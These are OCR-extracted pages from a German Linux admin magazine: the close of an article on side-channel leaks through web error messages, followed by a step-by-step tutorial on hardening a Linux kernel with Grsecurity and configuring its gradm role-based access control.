die Fehlerzustände loggen und die<br />

Gesamtzahl der Fehlermeldungen beobachten.<br />

Steigt die Anzahl der Fehler<br />

zeitabhängig stark an, oder lassen sich<br />

viele Fehler auf wenige Benutzer zurückverfolgen,<br />

so könnte das ein Anzeichen<br />

für einen Angriff sein.<br />

Seitenkanäle führen zu Informationslecks,<br />

die nur bei genauem Hinsehen<br />

sichtbar werden und können über Jahre<br />

unentdeckt bleiben. In den hier gezeigten<br />

Seitenkanälen stecken die Informationslecks<br />

in den dynamischen Fragmenten<br />

des HTTP- und HTML-Anteils von Web-<br />

Seiten. Da Web-Seiten auch weiterhin zunehmend<br />

dynamischer werden, wächst<br />

die Wahrscheinlichkeit für solche Seitenkanäle,<br />

und es wird schwieriger, die<br />

Seitenkanäle und die ungefährlichen dynamischen<br />

Teile auseinanderzuhalten.<br />

Es bleibt daher den Programmierern der<br />

Anwendungen überlassen, solche Seitender<br />

Benutzername existiert oder nicht,<br />

und der <strong>Angreifer</strong> hat eine generische<br />

Schwachstelle in der Zielanwendung gefunden.<br />

Der <strong>Angreifer</strong> kann jetzt einen<br />

Brute-Force-Angriff mit verschiedenen<br />

Benutzernamen starten und anhand der<br />

Antworten herausfinden, ob ein Benutzername<br />

existiert oder nicht.<br />

Gegenmaßnahmen<br />

Um Informationslecks durch Fehlermeldungen<br />

zu verhindern, sollten Fehlermeldungen<br />

so generisch wie möglich sein. Es<br />

reicht in vielen Fällen aus, den Benutzern<br />

eine generische Seite zu zeigen, in der<br />

zusätzlich zu der generischen Fehlermeldung<br />

eine zufällig generierte und eindeutige<br />

Fehler-ID zugeordnet wird. Kann der<br />

Benutzer sein Problem nicht selbst lösen,<br />

so können Administratoren über die<br />

Fehler-ID die detaillierte Fehlermeldung<br />

einsehen. So hat man verhindert, dass<br />

ein <strong>Angreifer</strong> vertrauliche Informationen<br />

kanäle zu entdecken und zu schließen,<br />

wie es die Postfixadmin- und den Typo3-<br />

Entwickler taten. (jcb)<br />

n<br />

Infos<br />

[1] Tibor Jager und Juraj Somorovsky: „How<br />

to break XML Encryption“, ACM CCS 2011.<br />

[2] Felix Freiling und Sebastian Schinzel:<br />

„Detecting Hidden Storage Side Channel<br />

Vulnerabilities in Networked Applications“,<br />

IFIP Sec 2012<br />

[3] Juliano Rizzo und Thai Duong: „Practical<br />

Padding Oracle Attacks“, Usenix WOOT<br />

2010<br />

Der Autor<br />

Dr. Sebastian Schinzel ist wissenschaftlicher<br />

Mitarbeiter der Universität Erlangen-Nürnberg<br />

und erforscht dort verdeckte Informationslecks<br />

in Web-Anwendungen. Er ist zudem seit mehr als<br />

sechs Jahren als Autor, Referent und Penetrationstester<br />

tätig und berät Unternehmen zu der<br />

Sicherheit von Softwareanwendungen.<br />

Anzeige<br />

Kann eine<br />

Schulungseinrichtung<br />

für mehr als EINEN<br />

Themenbereich<br />

berühmt werden?<br />

Das Linuxhotel ist bekannt für erstklassige Open-Source-Schulungen. In den letzten Jahren kamen Java<br />

und andere Programmiersprachen hinzu - wie immer in Kooperation mit führenden Spezialisten, und in<br />

abgeschiedener, konzentrierter, aber auch ziemlich verspielter Umgebung. Es ist so naheliegend, auch<br />

Entwicklerthemen bei den OpenSource‘lern zu lernen, weil man dort schon immer sehr „unter die<br />

Haube“ guckte und mit viel Freude intensivst arbeitet. Das weiss ein Großteil der deutschen Admins, nur<br />

unter Entwicklern hat's sich noch nicht so ganz herumgesprochen.<br />

Mehr siehe www.linuxhotel.de<br />

www.admin-magazin.de<br />

Admin<br />

Ausgabe 04-2012<br />

55


Security<br />

Grsecurity<br />

© Luce Morin, 123RF<br />

Systemsicherheit erhöhen mit Grsecurity<br />

Abgedichtet<br />

Sicherheitsbewusste ziehen um ihr Haus einen tiefen Wassergraben mit Krokodilen, verstecken ihr Mobiliar in<br />

Hinterzimmern und lassen Besucher nur nach der Nennung eines geheimen Codewortes ins Bad. Nach einem<br />

ähnlichen radikalen Prinzip baut Grsecurity Linux-Systeme zu einer Festung aus. Tim Schürmann<br />

Eine kleine Patch-Sammlung namens<br />

Grsecurity (für Greater Security) verwandelt<br />

den Linux-Kernel in einen extrem<br />

misstrauischen Gesellen. Gleich mit einem<br />

ganzen Maßnahmenbündel versucht<br />

er präventiv, <strong>Angreifer</strong> auszusperren, und<br />

behandelt jeden Benutzer erst einmal als<br />

prinzipielle Gefahrenquelle. So erlaubt er<br />

unter anderem den Aufruf von »dmesg«<br />

nur ganz bestimmten Benutzern, riegelt<br />

das »/proc«-Verzeichnis ab und der Kernel<br />

verhindert Zugriffe auf »/dev/kmem«,<br />

»/dev/mem« und »/dev/port«. Anwendungen<br />

schiebt er an eine zufällige Stelle<br />

im Hauptspeicher (Address Space Layout<br />

Randomization) und versteckt alle<br />

Kernel-Threads.<br />

Rollenspiel<br />

Grsecurity zunächst allen Benutzern ihre<br />

Zugriffsrechte, versteckt vor ihnen sogar<br />

Teile des Dateisystems und erlaubt so nur<br />

das gerade Notwendige. Anschließend<br />

gestattet der Administrator einzelnen Benutzern<br />

dann gezielt wieder bestimmte<br />

Aktionen. Benutzer mit ähnlichen Aufgaben<br />

lassen sich in Gruppen zusammenfassen,<br />

den sogenannten Rollen. Denen<br />

kann der Admin anschließend ebenfalls<br />

weitere Rechte zugestehen. So darf beispielsweise<br />

die Gruppe der Webmaster<br />

den SSH-Daemon starten, die Gruppe<br />

der Datenbankadministratoren hin<strong>gegen</strong><br />

nicht.<br />

Die Konfiguration bleibt dennoch kinderleicht:<br />

Man lässt Grsecurity einfach<br />

eine Weile die Arbeit des Webmasters<br />

beobachten und anschließend die dabei<br />

durchgeführten Aktionen für ihn freigeben.<br />

Sämtliche anderen Aktionen bleiben<br />

weiterhin verboten. Diese automatisch<br />

ermittelte Konfiguration lässt sich selbstverständlich<br />

noch manuell verfeinern<br />

beziehungsweise anpassen.<br />

Von RBAC unabhängig verhindert Grsecurity,<br />

dass Benutzer eigene, möglicherweise<br />

böswillige Programme oder Skripte<br />

starten (Trusted Path Execution). Aufrufen<br />

lassen sich dann nur noch Anwendungen<br />

aus Verzeichnissen, für die ausschließlich<br />

der Benutzer »root« Schreibrechte<br />

besitzt. Abschließend dichtet Grsecurity<br />

auch noch Chroot-Umgebungen so ab,<br />

dass die darin laufenden Programme<br />

weder Zugriff auf Systemfunktionen er-<br />

Den Kern von Grsecurity bildet jedoch<br />

die rollenbasierte Zugriffskontrolle (Role<br />

Based Access Control, kurz RBAC),<br />

die auf der schon vorhandenen Rechteverwaltung<br />

aufsetzt. Dabei entzieht<br />

Abbildung 1: Zum Redaktionsschluss enthielt das Repository von Julien Tinnes nur diese Kernel-Versionen.<br />

56 Ausgabe 04-2012 Admin www.admin-magazin.de


Grsecurity<br />

Security<br />

halten, noch ihr neues Zuhause wieder<br />

verlassen können.<br />

Alle diese Funktionen erschweren einen<br />

Einbruch in das System erheblich und<br />

<strong>schützen</strong> somit auch vor noch unbekannten<br />

Sicherheitslücken. Sollte es dennoch<br />

passieren, kann ein kompromittiertes<br />

Programm dank beschränkter Zugriffsrechte<br />

keinen größeren Schaden anrichten.<br />

Grsecurity steht unter der freien GNU<br />

GPL, die Weiterentwicklung finanziert<br />

sein Autor Brad Spengler aus Spenden<br />

und über kommerziellen Support.<br />

Gespaltene Persönlichkeit<br />

Grsecurity besteht aus mehreren Teilen:<br />

Dank der Patch-Sammlung überwacht<br />

der Linux-Kernel alle Prozesse und unterbindet<br />

im Fall der Fälle verbotene Aktionen.<br />

Die Konfiguration und Einrichtung<br />

des RBAC-Systems übernimmt das kleine<br />

Kommandozeilenwerkzeug »gradm«, die<br />

übrigen Kernel-Funktionen schaltet man<br />

über »sysctl« ein und aus.<br />

Dummerweise steht der Kernel-Patch nur<br />

für bestimmte Kernel-Versionen bereit,<br />

zum Redaktionsschluss trugen sie die<br />

Nummern 3.2.19 und 2.6.32.59. Diese<br />

beiden Kernel hält Brad Spengler für stabil.<br />

Darüber hinaus lässt sich der Patch<br />

nur auf den originalen, unmodifizierten<br />

Kernel von kernel.org anwenden (den<br />

sogenannten Vanilla-Kernel). Da keine<br />

der großen Distributionen einen mit Grsecurity<br />

gepatchten Kernel anbietet, muss<br />

man folglich selbst den originalen Kernel<br />

herunterladen, patchen, übersetzen und<br />

dann auch immer noch auf dem aktuellen<br />

Stand halten. Das sollte man nur in<br />

Angriff nehmen, wenn man auf diesem<br />

Gebiet bereits Erfahrungen gesammelt<br />

hat. Als Alternative bieten sich ähnlich<br />

arbeitende Systeme an, wie etwa Tomoyo<br />

[2].<br />

Zahlenspiele<br />

Wie man einen Kernel übersetzt, hängt<br />

von der jeweiligen Distribution ab.<br />

Die meisten bringen dafür einen Satz<br />

Spezialwerkzeuge mit. Unter Ubuntu<br />

installiert der Befehl alles Notwendige:<br />

sudo apt‐get install fakeroot U<br />

build‐essential libncurses5 U<br />

libncurses5‐dev kernel‐package<br />

Abbildung 2: In diesem Fall ist das Archiv mit den Kernel-Patches unversehrt.<br />

Die Grsecurity-Homepage [1] verrät, für<br />

welche Kernel-Versionen überhaupt passende<br />

Patches bereitstehen. Für einen<br />

davon müssen Sie sich entscheiden, im<br />

Folgenden soll beispielhaft der Kernel<br />

3.2.19 zum Einsatz kommen. Für ihn<br />

laden Sie den passenden Grsecurity-<br />

Patch herunter. Zum Redaktionsschluss<br />

war die Grsecurity-Version 2.9 erhältlich,<br />

die benötigte Datei heißt somit »grsecurity‐2.9‐3.2.19‐...«.<br />

Am besten laden Sie<br />

sich auch gleich noch das Archiv für<br />

»gradm« herunter, das unbedingt dieselbe<br />

Extrawurst<br />

Versionsnummer wie Grsecurity tragen<br />

muss, im Beispiel also die 2.9. Weiter<br />

geht es zu kernel.org [5], wo Sie sich<br />

die „Full Source“ der passenden Kernel-<br />

Version besorgen, im Beispiel also 3.2.19.<br />

Alle heruntergeladenen Dateien sollten<br />

für die folgenden Schritte im selben Verzeichnis<br />

liegen.<br />

Um die Echtheit zu prüfen, laden Sie<br />

sich den Schlüssel von der Grsecurity-<br />

Homepage herunter (über den etwas unscheinbaren<br />

Link »You can download the<br />

key used to sign these packages here«).<br />

Eine kleine Sonderrolle nehmen Debian 6 und<br />

Ubuntu 12.04 ein. Zunächst einmal halten diese<br />

beiden Distributionen eine ältere Version des<br />

Werkzeugs »gradm« in ihren Repositories<br />

bereit, bieten aber kurioserweise keinen mit<br />

Grsecurity gehärteten Kernel. Den stellt stellvertretend<br />

Julien Tinnes in einem eigenen Repository<br />

bereit [3]. Die Auswahl beschränkt<br />

sich allerdings auf ein paar Kernel mit der Versionsnummer<br />

2.6.32 und jünger (Abbildung 1). Für<br />

Debian 6 dürfte das noch passen, Ubuntu 12.04<br />

setzt jedoch schon den Kernel 3.2 ein.<br />

Darüber hinaus fehlt im Repository ein zu den<br />

Kerneln passendes »gradm«-Werkzeug. Die<br />

Fassung auf der Grsecurity-Homepage trug<br />

zum Redaktionsschluss bereits eine höhere<br />

Versionsnummer und arbeitet somit nicht mehr<br />

mit den von Julien Tinnes gebauten Kerneln<br />

zusammen. Auch das von Debian mitgelieferte<br />

»gradm«-Paket ist hier nutzlos. Da man zudem<br />

Julien Tinnes und seinen Kerneln blind vertrauen<br />

muss, eignet sich sein Angebot nur zum<br />

schnellen Ausprobieren von Grsecurity unter<br />

Debian – wenn man denn auf das RBAC-System<br />

verzichten kann. Das Repository fügen in diesem<br />

Fall die folgenden Befehle hinzu:<br />

su root<br />

echo 'deb http://debian.cr0.org/repo/<br />

kernel‐security/' >> /etc/apt/sources.list<br />

wget http://kernelsec.cr0.org/<br />

kernel‐security.asc<br />

apt‐key add kernel‐security.asc<br />

apt‐get update<br />

Jetzt kann man sich alle darin verfügbaren Kernel<br />

anzeigen lassen:<br />

apt‐cache search linux image grsec<br />

und den Kernel mit der höchsten Versionsnummer<br />

installieren:<br />

apt‐get install<br />

linux‐image‐2.6.32.15‐1‐grsec<br />

www.admin-magazin.de<br />

Admin<br />

Ausgabe 04-2012<br />

57


Security<br />

Grsecurity<br />

Anschließend kopieren Sie sich noch die<br />

jeweiligen Signaturen über die [sig]-Links<br />

und rufen dann folgende Befehle auf:<br />

gpg ‐‐import spender‐gpg‐key.asc<br />

gpg ‐‐verify grsecurity‐2.9‐3.2.19‐U<br />

201206042135.patch.sig<br />

gpg ‐‐verify gradm‐2.9‐201202232055.tar.U<br />

gz.sig<br />

Die Ausgaben sollten wie in Abbildung<br />

2 aussehen. Wichtig ist, dass in den<br />

Meldungen ein »Korrekte Unterschrift«<br />

erscheint. Andernfalls müssen Sie den<br />

Patch beziehungsweise das »gradm«-Archiv<br />

noch einmal erneut herunterladen.<br />

Zusätzlich kann man noch den Haupt-<br />

Fingerabdruck prüfen. Für die Grsecurity-Archive<br />

steht er auf der Grsecurity-<br />

Downloadseite. Da aber alle diese Informationen<br />

von derselben Seite stammen,<br />

muss man letztlich dieser Quelle mehr<br />

oder weniger vertrauen. Das Kernel-Archiv<br />

verifiziert man nach dem gleichen<br />

Prinzip, alle notwendigen Schritte nennt<br />

die Seite [5].<br />

Als Nächstes entpacken Sie das Kernel-<br />

Archiv:<br />

tar xvfj linux‐3.2.19.tar.bz2<br />

cd linux‐3.2.19<br />

Bei Bedarf könnnen Sie die Kernel-Konfiguration<br />

der Distribution übernehmen,<br />

unter Ubuntu etwa mit:<br />

cp /boot/config‐`uname ‐r` .config<br />

Jetzt gilt es, den Kernel mit Grsecurity<br />

zu patchen:<br />

patch ‐p1 < ../grsecurity‐2.9‐3.2.19‐U<br />

201206042135.patch<br />

und ihn dann zu konfigurieren:<br />

make menuconfig<br />

Stellwerk<br />

Die Einstellungen zu Grsecurity verstecken<br />

sich unter den »Securtiy Options<br />

| Grsecurity«, wo Sie Grsecurity einschalten.<br />

Für jede Sicherheitsfunktion<br />

erscheint jetzt ein weiterer Punkt (Abbildung<br />

3). Die Punkte können Sie einzeln<br />

nacheinander durchgehen – oder aber<br />

einfach hinter »Security Level« eine von<br />

drei möglichen Voreinstellungen aktivieren.<br />

»High« schaltet einfach sämtliche<br />

Sicherheitsfunktionen ein. Es bietet damit<br />

die höchste Sicherheit, einige wenige<br />

Programme könnten aber später Probleme<br />

bereiten.<br />

Für die ersten Schritte mit Grsecurity<br />

bietet sich daher zunächst das »Low«-<br />

Profil an. Es aktiviert zwar nur einen Teil<br />

der Sicherheitsfunktionen, ungewollte<br />

Nebeneffekte sind damit jedoch ausgeschlossen.<br />

Läuft das System einwandfrei,<br />

schalten Sie nach und nach auf das jeweils<br />

striktere Profil um. Einen schnellen<br />

Überblick über die Sicherheitsfunktionen<br />

der einzelnen Profile gibt der Kasten<br />

„Profiliert“.<br />

Nach der Wahl des Profils sollten Sie<br />

zusätzlich unter »Sysctl support« den<br />

»Sysctl support« und »Turn on features<br />

by default« aktivieren. Damit können Sie<br />

später im laufenden System einige Sicherheitsfunktionen<br />

über simple Kommandozeilenbefehle<br />

ein- und ausschalten (zu<br />

denen später noch mehr). Das ist nicht<br />

nur bequem, um schnell eine Funktion<br />

zu testen oder eine störende abzuschalten.<br />

Sie ersparen sich damit gleichzeitig,<br />

den Kernels erneut zu übersetzen.<br />

Aufgepasst<br />

Wenn Sie das System in den produktiven<br />

Betrieb nehmen, sollten Sie den »Sysctl<br />

support« jedoch wieder deaktivieren. Andernfalls<br />

könnten <strong>Angreifer</strong> darüber das<br />

Sicherheitssystem unbemerkt abschalten.<br />

Alle übrigen hier im Kernel von Grsecurity<br />

angebotenen Funktionen sollten Sie<br />

nur ein- und ausschalten, wenn Sie ihre<br />

Bedeutung und Wirkung kennen.<br />

Abschließend konfigurieren Sie den übrigen<br />

Kernel nach Ihren Bedürfnissen und<br />

Profiliert<br />

Standardmäßig ist in jedem Profil das RBAC-System aktiv – allerdings mit<br />

unterschiedlich strengen Restriktionen. Da einige Programme nicht mit<br />

der Trusted Path Execution zurechtkommen, muss man sie im Bereich<br />

»Executable Protections« grundsätzlich selbst aktivieren.<br />

Low<br />

In frei beschreibbaren Verzeichnissen wie »/tmp« können Benutzer weder<br />

FIFOs anlegen noch (endlos) symbolischen Links folgen. Zudem bleibt es<br />

ihnen verwehrt, Hardlinks auf fremde Dateien zu erstellen, unbegrenzt<br />

mit »execvs()« Prozesse zu starten und mit dem Kommando »dmesg« das<br />

Kernel-Log anzusehen. Wechselt eine Anwendung in eine Chroot-Umgebung,<br />

setzt Grsecurity ihr Arbeitsverzeichnis auf das Root-Verzeichnis der<br />

Chroot-Umgebung. Damit ist es der Anwendung nicht mehr möglich, doch<br />

noch auf ein Verzeichnis außerhalb der Chroot-Umgebung zuzugreifen.<br />

Medium<br />

Dieses Profil dichtet vor allem Chroot-Umgebungen weiter ab. So verwehrt<br />

Grsecurity den darin laufenden Prozessen unter anderem das Mounten von<br />

Dateisystemen, Zugriffe auf Kernelparameter (via »sysctl« oder über »/<br />

proc«) sowie »mknod«-Aufrufe. Im übrigen System widmet sich Grsecurity<br />

verstärkt dem Hauptspeicher. So verbietet es den Zugriff auf »/dev/<br />

kmem«, »/dev/mem« und »/dev/port«. Das soll vor allem Rootkits den Weg<br />

in den Kernel erschweren.<br />

Zudem landen neu gestartete Programme an einer zufällig gewählten<br />

Stelle im Hauptspeicher (Address Space Layout Randomization, ASLR).<br />

Das erschwert es Schadcode, die Sicherheitslücke im Programm zu finden.<br />

Grsecurity protokolliert mit dieser Einstellung auch fehlgeschlagene<br />

»fork()«-Aufrufe, Änderungen der Systemzeit und Abstürze in Form einer<br />

Zugriffsverletzung (Segmentation Fault). Einblick in »/proc« bekommen<br />

jetzt nur noch Benutzer aus der Gruppe mit der GID 1001. In der Folge<br />

sehen Benutzer nur noch ihre eigenen Prozesse. Laut Brad Spengler sollen<br />

die im Medium-Profil aktivierten Sicherheitsfunktionen nur bei veralteter,<br />

schlecht geschriebener oder spezieller Software Probleme bereiten. Beispielsweise<br />

muss man einem »identd«-Daemon die GID 1001 verpassen<br />

– sofern man überhaupt diesen Dienst nutzt.<br />

High<br />

Das höchste Sicherheitsprofil verschärft noch einmal alle Maßnahmen.<br />

So entfernt Grsecurity alle Adressangaben unter »/proc«. Die Pseudodateisysteme<br />

»sysfs« und »debugfs« (in der Regel also das Verzeichnis<br />

»/sys«) darf nur noch der Benutzer Root einsehen. Damit erhalten normale<br />

Nutzer keinen Einblick mehr in die Hardware- und Debug-Informationen<br />

des Systems. Darüber hinaus versteckt Grsecurity alle Kernelsymbole<br />

und randomisiert den Kernel-Stack. Das automatische Laden von Kernelmodulen<br />

ist nur noch unter dem Benutzer Root gestattet. Grsecurity<br />

protokolliert zudem das Ein- und Aushängen von Dateisystemen. Prozesse<br />

in einer Chroot-Umgebung dürfen weder Netzwerkschnittstellen einrichten<br />

noch Module laden oder das System neu starten.<br />

Eine ausführliche Beschreibung aller Funktion sowie der drei Profile liefert<br />

ein langer Anhang der offiziellen Grsecurity-Dokumentation [6].<br />

58 Ausgabe 04-2012 Admin www.admin-magazin.de


Grsecurity<br />

Security<br />

übersetzt ihn. Das erfolgt unter Ubuntu<br />

mit den Befehlen:<br />

make‐kpkg clean<br />

fakeroot make‐kpkg ‐‐initrd ‐‐append‐to‐U<br />

version "grsec" kernel_image<br />

Möglicherweise erhalten Sie dabei die<br />

Fehlermeldung aus Abbildung 4: »Your<br />

gcc installation does not support plugins.«.<br />

Um das Problem zu lösen, installieren<br />

Sie entweder das entsprechende<br />

Paket mit der Plugin-Unterstützung für<br />

GCC oder stellen dem »make«-Aufruf ein<br />

»DISABLE_PAX_PLUGINS=y« voran.<br />

Letzteres sieht im Fall von Ubuntu wie<br />

folgt aus:<br />

DISABLE_PAX_PLUGINS=y fakeroot make‐kpkgU<br />

‐‐initrd kernel_image<br />

Erscheint nach mehreren Tassen Kaffee<br />

die Erfolgsmeldung, können Sie den Kernel<br />

in den Bootvorgang einbinden. Unter<br />

Ubuntu müssen Sie dazu nur noch das<br />

erstellte Paket einspielen:<br />

cd ..<br />

sudo dpkg ‐i linux‐image*.deb<br />

Das erzeugt gleichzeitig einen neuen Eintrag<br />

im Bootmenü. Auch auf anderen Systemen<br />

sollten Sie zumindest während der<br />

Testphase den alten Kernel noch im Bootmenü<br />

behalten. Damit können Sie immer<br />

wieder zu ihm zurückkehren und bleiben<br />

im Fall der Fälle nicht ausgesperrt.<br />

Kommandozentrale<br />

Nach einem Neustart ist es recht schwierig<br />

herauszufinden, ob Grsecurity aktiv<br />

ist. Man kommt nicht umhin, ein paar<br />

seiner Funktionen zu prüfen. Als Erstes<br />

sollte<br />

Ging alles glatt, fordert »gradm« die Eingabe<br />

eines Passworts. Nur mit ihm könecho<br />

"0" >/proc/U<br />

sys/kernel/U<br />

grsecurity/dmesg<br />

wieder jedem Benutzer<br />

den Zugriff<br />

via »dmesg« auf<br />

das Kernel-Log. Alternativ<br />

kann man<br />

natürlich auch das<br />

Systemwerkzeug<br />

»sysctl« verwenden:<br />

sysctl kernel.U<br />

grsecurity.dmesg=0<br />

Bei dieser Variante<br />

steht jedem<br />

Kernel-Parameter<br />

grundsätzlich ein<br />

»kernel.grsecurity« voran. Alle möglichen<br />

Parameter und ihre aktuellen Einstellungen<br />

liefert (Abbildung 5):<br />

sysctl ‐a | grep ‐i grsec<br />

Die Änderungsmöglichkeit über »Sysctl«<br />

und »/proc« können Sie komplett abschalten<br />

beziehungsweise sperren:<br />

echo "1" >/proc/sys/kernel/grsecurity/<br />

grsec_lock<br />

Damit kann sie kein <strong>Angreifer</strong> mehr verändern<br />

– Sie selbst allerdings auch erst<br />

wieder nach einem Neustart.<br />

Die Zugriffskontrolle des RBAC-Systems<br />

ist standardmäßig deaktiviert. Um sie<br />

nutzen und einrichten zu können, muss<br />

man noch das Werkzeug »gradm« erstellen.<br />

Dazu braucht man die über den<br />

Abbildung 3: Mit Ausnahme des RBAC-Systems konfiguriert man die Grsecurity-<br />

Funktionen vor der Übersetzung des Linux-Kernels.<br />

Paketmanager nachgeholten Programme<br />

Bison und Lex (respektive Flex) sowie die<br />

folgenden Befehle:<br />

tar xvfz gradm‐2.9‐201202232055.tar.gz<br />

cd gradm2<br />

make<br />

sudo make install<br />

Unter Umständen meldet das letzte Kommando,<br />

dass es »/dev/grsec« nicht öffnen<br />

kann. In diesem Fall sollten Sie zunächst<br />

prüfen, ob Grsecurity tatsächlich aktiv<br />

ist. Sofern weder »udev« noch »devfs«<br />

laufen, muss man zudem die Gerätedatei<br />

selbst anlegen:<br />

mknod ‐m 0622 /dev/grsec c 1 13<br />

uname ‐r<br />

einen Kernel mit »‐grsec« nennen. Darüber<br />

hinaus darf man als normaler Benutzer<br />

nicht mehr mit »dmesg« das Kernel-<br />

Log abrufen.<br />

Sofern man die Sysctl-Schnittstelle aktiviert<br />

hat, erscheint unter »/proc/sys/<br />

kernel« das Verzeichnis »grsecurity«. Jede<br />

Datei dort repräsentiert eine grsecurity-<br />

Funktion. Indem man in sie als Benutzer<br />

»root« eine 1 oder 0 schreibt, schaltet<br />

man die Funktion ein beziehungsweise<br />

aus. Beispielsweise erlaubt der Kernel<br />

nach einem<br />

Abbildung 4: Erscheint diese Fehlermeldung beim Übersetzen des Kernels, unterstützt der Compiler<br />

keine Plugins.<br />

www.admin-magazin.de<br />

Admin<br />

Ausgabe 04-2012<br />

59


Security<br />

Grsecurity<br />

nen Sie später die Zugriffskontrolle wieder<br />

deaktivieren. Erneuern beziehungsweise<br />

ändern lässt sich dieses Passwort<br />

jederzeit via<br />

gradm ‐P<br />

Standardmäßig existiert eine spezielle<br />

Rolle »admin«. Wie ihr Name andeutet,<br />

darf ein »admin« das System administrieren.<br />

Im Auslieferungszustand könnte<br />

theoretisch jeder mit<br />

gradm ‐a admin<br />

zu einem »admin« aufsteigen (beziehungsweise<br />

diese Rolle einnehmen). Um<br />

das zu verhindern, gilt es ein Passwort<br />

zu setzen:<br />

gradm ‐P admin<br />

Vergeben Sie kein Passwort, wird »gradm«<br />

gleich diese Sicherheitslücke anprangern<br />

und den Start des RBAC-Systems<br />

verweigern. Analog gibt es eine Rolle<br />

»shutdown«. Diese müssen Sie später<br />

einnehmen, wenn Sie bei aktiviertem<br />

RBAC-System den Computer herunterfahren<br />

möchte. Auch für »shutdown« ist<br />

ein Passwort zu setzen:<br />

gradm ‐P shutdown<br />

Sämtliche Passwörter sammelt »gradm«<br />

verschlüsselt in der Datei »/etc/grsec/<br />

pw«.<br />

Jetzt endlich können Sie das RBAC-System<br />

aktivieren:<br />

gradm ‐E<br />

»gradm« liest dabei als Erstes<br />

die Konfigurationsdatei »/etc/<br />

grsec/policy« ein. Sie enthält<br />

das grundlegende Regelwerk<br />

und teilt dem RBAC-System<br />

mit, wer welche Zugriffsrechte<br />

besitzt. In ihr sind auch die<br />

mitgelieferten Rollen »admin«<br />

und »shutdown« definiert.<br />

Mit anderen Worten enthält<br />

die Datei »policy« nichts anderes<br />

als eine Access Control<br />

List (ACL). »gradm« prüft, ob<br />

dieses Regelwerk Sicherheitslöcher<br />

oder (Tipp-)Fehler enthält.<br />

Ist dies der Fall, bemängelt<br />

es die entsprechenden<br />

Punkte und lässt die Zugriffskontrolle<br />

deaktiviert. Andernfalls<br />

startet es das RBAC-System<br />

mit den in »/etc/grsec/policy« hinterlegten<br />

Rollen und Zugriffsrechten.<br />

Sobald das RBAC-System läuft, bleibt<br />

das Regelwerk für jegliche Änderungen<br />

gesperrt. Grsecurity versteckt sogar die<br />

Konfigurationsdateien unter »/etc/grsec«.<br />

Sehen kann man sie dann nur, wenn man<br />

in die Rolle »admin« schlüpft. Ebenso<br />

ist es jetzt selbst als »root« unmöglich,<br />

verschiedene Systemdienste wie den<br />

SSH-Daemon zu starten und zu stoppen.<br />

Auch das ist nur Benutzern in der Rolle<br />

»admin« gestattet. Um sie einzunehmen,<br />

ruft man:<br />

gradm ‐a admin<br />

auf. Jetzt sieht man wieder den Inhalt<br />

von »/etc/grsec« und kann den SSH-<br />

Daemon starten. Um die Rolle wieder<br />

abzulegen, genügt ein:<br />

gradm ‐u<br />

Durch das Rollen-Konzept erhält man<br />

folglich eine zweistufige Absicherung:<br />

Um einen Systemdienst zu starten oder<br />

zu stoppen, muss man zunächst Root-<br />

Rechte erhalten und dann noch per<br />

»gradm« in die Rolle »admin« schlüpfen.<br />

Schulung<br />

Nun könnten Sie die Konfigurationsdatei<br />

»/etc/grsec/policy« öffnen und ihr selbst<br />

weitere Rollen hinzufügen beziehungsweise<br />

die bisherigen Regeln verschärfen.<br />

Dabei passiert es jedoch leicht, dass man<br />

Abbildung 5: Welche Grsecurity-Funktionen man über »sysctl« ein- und<br />

ausschalten kann, hängt maßgeblich von den beim Übersetzen des Kernels<br />

gewählten Einstellungen ab.<br />

mehr Rechte zugesteht, als eigentlich<br />

notwendig, oder dass man wichtige Sonderfälle<br />

vergisst. »gradm« bietet deshalb<br />

einen Lernmodus. In ihm beobachtet es<br />

das System eine Zeit lang, merkt sich<br />

dabei alle ausgeführten Aktionen und generiert<br />

anschließend die passenden Regeln.<br />

Dazu müssen Sie das RBAC-System<br />

zunächst deaktivieren:<br />

gradm ‐D<br />

Hierzu ist das Passwort einzugeben, das<br />

man bei der Installation von »gradm«<br />

vorgegeben hat.<br />

Das komplette System überwacht<br />

»gradm« via:<br />

gradm ‐F ‐L /etc/grsec/gelerntes.log<br />

Alle protokollierten Aktionen landen<br />

in der Datei »/etc/grsec/gelerntes.log«.<br />

Jetzt sollten die Benutzer des Systems<br />

alle ihnen zukünftig erlaubten Aktionen<br />

ausführen – und zwar mehrmals.<br />

Die Wiederholung hat einen wichtigen<br />

Grund: »gradm« versucht grundsätzlich<br />

so wenige Regeln wie möglich zu generieren.<br />

Wenn beispielsweise ein aufgerufenes<br />

Programm mehr als vier Mal auf<br />

Dateien in einem Verzeichnis zugreift wie<br />

etwa unter »/tmp« gestattet Grsecurity<br />

ihm später den kompletten Schreibzugriff<br />

auf dieses Verzeichnis.<br />

Ausnahmen von diesen Regeln gibt die<br />

Datei »/etc/grsec/learn_config« vor. Alle<br />

in ihr genannten Verzeichnisse bleiben<br />

tabu und weiterhin gesperrt. Zudem<br />

können Sie hier das Lernverhalten<br />

für bestimmte Verzeichnisse<br />

beeinflussen. In<br />

jeder Zeile steht dabei genau<br />

ein Verzeichnis. Was mit ihm<br />

passieren soll, bestimmt das<br />

Schlüsselwort am Anfang.<br />

Die Bedeutungen der Befehle<br />

erklären die Kommentare am<br />

Anfang der Datei.<br />

Um die Rechte eines normalen<br />

Desktop-Anwenders zu ermitteln,<br />

sollten Sie den Lernmodus<br />

durchaus mehrere Tage<br />

mitlaufen lassen. Während<br />

dieser Zeit sollten Sie sich<br />

tunlichst verkneifen, administrative<br />

Aufgaben durchzuführen<br />

– denn die würde »gradm«<br />

später erlauben. Müssen Sie<br />

dennoch am System schrau-<br />

60 Ausgabe 04-2012 Admin www.admin-magazin.de


Grsecurity<br />

Security<br />

ben, wechseln Sie vorübergehend in die<br />

Rolle »admin«.<br />

Lernphase<br />

Alle in der Lernphase ausgeführten Aktionen<br />

ordnet »gradm« dem jeweiligen<br />

Linux-Benutzer zu. Um beispielsweise<br />

»root« wieder das Starten und Stoppen<br />

des SSH-Daemon zu gestatten, aktivieren<br />

Sie den Lernmodus, melden sich als<br />

Benutzer »root« an und starten mehrmals<br />

den SSH-Daemon. »gradm« erkennt, dass<br />

hier »root« am Werke war, und erlaubt<br />

nur ihm den SSH-Daemon zu starten.<br />

Im Hintergrund erstellt »gradm« dabei<br />

für jeden Benutzer und jede normale<br />

Gruppe des Linux-Systems eine eigene<br />

Rolle. Diese Rollen nimmt der Benutzer<br />

nach seiner Anmeldung am System automatisch<br />

ein. Gibt es für einen Benutzer<br />

noch keine eigene Rolle, beispielsweise<br />

weil er sich während der Lernphase nicht<br />

angemeldet hat, gilt für ihn die Standard-<br />
